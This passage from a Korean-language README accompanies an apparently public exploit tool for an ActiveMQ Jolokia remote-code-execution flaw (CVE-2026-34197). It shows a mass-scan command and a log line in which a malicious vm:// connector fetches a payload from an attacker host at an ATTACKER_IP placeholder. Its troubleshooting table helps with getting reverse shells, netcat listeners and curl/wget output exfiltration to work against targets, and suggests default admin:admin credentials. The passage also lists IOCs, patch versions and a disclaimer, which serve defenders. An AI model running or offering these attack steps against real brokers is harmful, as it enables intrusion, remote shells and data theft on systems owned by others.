# Mass version scan (recommended)
python version_check.py -T targets.txt
[!TIP] 버전별 dork, 지역 필터, API 예제, IDS 규칙, 단계별 검증 워크플로에 대한 전체 가이드는
docs/에서 확인하세요.
INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
> **참고:** `rce*` 부분에는 익스플로잇이 커넥터 이름을 무작위화하므로 임의의 문자가 포함됩니다(예: `rcek4m2x9ab`).
### IOCs
| 지표 | 설명 |
|-----------|-------------|
| `addNetworkConnector`가 포함된 POST `/api/jolokia/` | 익스플로잇 시도 |
| ActiveMQ 프로세스에서 발생하는 아웃바운드 HTTP GET | 페이로드 XML 다운로드 |
| ActiveMQ 프로세스에서 발생하는 아웃바운드 HTTP POST(명령 출력 외부 유출) | 출력 캡처 콜백 |
| `brokerConfig=xbean:http`가 포함된 `vm://` URI | 악성 커넥터 |
| Java/ActiveMQ에서 발생하는 예기치 않은 자식 프로세스(`curl`, `wget`, `bash`) | 명령 실행 / 출력 외부 유출 |
---
## 해결 방법
| 우선순위 | 조치 |
|----------|------|
| **P0** | ActiveMQ Classic **5.19.4** 또는 **6.2.3**으로 업그레이드 |
| **P1** | 기본 웹 콘솔 자격 증명 변경 |
| **P2** | 포트 **8161**에 대한 네트워크 액세스 제한 |
| **P3** | `xbean:http` 패턴이 포함된 `vm://` URI에 대해 브로커 로그 모니터링 |
---
## 문제 해결
| 문제 | 예상 원인 | 해결 방법 |
|---------|-------------|----------|
| `15초 내에 페이로드 요청을 받지 못함` | 대상이 ATTACKER_IP에 연결할 수 없음 | 연결 확인([ATTACKER_IP 가이드](#understanding-attacker_ip---lhost) 참조) |
| `인증 실패 (401)` | 잘못된 자격 증명 | `--no-auth` 시도(ActiveMQ 6.0.0-6.1.1) 또는 올바른 자격 증명 찾기 |
| `액세스 금지 (403)` | Jolokia API가 제한됨 | 대상에 `/api/jolokia/`에 대한 ACL이 있을 수 있음 — 원격으로 익스플로잇 불가 |
| `연결 오류` / `연결할 수 없음` | 대상이 다운되었거나 포트가 잘못됨 | `http://TARGET:8161/`에 접근 가능한지 확인 |
| `Jolokia status=500: JMX에 등록할 수 없음` | 이전 익스플로잇 커넥터가 여전히 등록됨 | 익스플로잇이 새 임의 이름으로 자동 재시도함; 다시 시도 |
| 리버스 셸이 연결되지 않음 | `-l`과 셸 명령의 IP가 다르거나 포트가 수신 중이 아님 | 모든 곳에서 동일한 IP 사용; 익스플로잇 전에 `nc -lvnp PORT` 시작 |
| `10초 내에 출력을 받지 못함` | 대상에 `curl`과 `wget`이 없거나 명령에 stdout이 없음 | RCE는 여전히 작동함 — 전체 상호작용을 위해 리버스 셸 사용 |
| 출력 캡처에 빈 결과 표시 | 명령이 출력을 생성하지 않음(예: `touch /tmp/test`) | stdout이 없는 명령의 경우 정상; `ls /tmp/test`로 확인 |
| 포트 8888에서 `OSError: Address already in use` | 다른 프로세스 또는 이전 실행이 포트를 사용 중 | `-lp 9999`(또는 사용 가능한 포트) 사용 또는 차단 프로세스 종료 |
| `version_check.py` 1단계가 느림 | 스레드 수가 너무 적거나 네트워크 지연이 높음 | `--threads 20` 또는 `--threads 30`으로 증가 |
| `version_check.py`에 `[VULNERABLE]`이 표시되지만 2단계 실패 | 대상이 IP에 연결할 수 없거나 방화벽이 아웃바운드 HTTP를 차단 | ATTACKER_IP 확인; 느린 네트워크의 경우 `--wait 30` 시도 |
| `version_check.py`에 모든 대상에 대해 `No Jolokia` 표시 | Jolokia API가 비활성화되었거나 비표준 경로에 있음 | `curl -u admin:admin http://TARGET:8161/api/jolokia/`로 수동 확인 |
---
## 참고 자료
| 리소스 | 링크 |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [기술 분석](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Apache 권고 | [보안 권고](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| 관련 CVE | [CVE-2024-32114 — Jolokia 무인증](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| 관련 CVE | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |
---
## 면책 조항
> [!WARNING]
> 이 개념 증명은 **교육 및 승인된 보안 연구 목적으로만** 제공됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 이 도구를 무단 사용하는 것은 **불법**입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다.
---
<p align="center">
<a href="https://github.com/KONDORDEVSECURITYCORP">
<img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&logo=github" alt="GitHub"/>
</a>
<a href="https://t.me/KONDORDEVSECURITY">
<img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/>
</a>
</p>
<p align="center">
<sub><b>KONDOR DEV SECURITY CORP</b>가 전문적으로 개발</sub><br>
<sub>MIT 라이선스 © 2026</sub>
</p>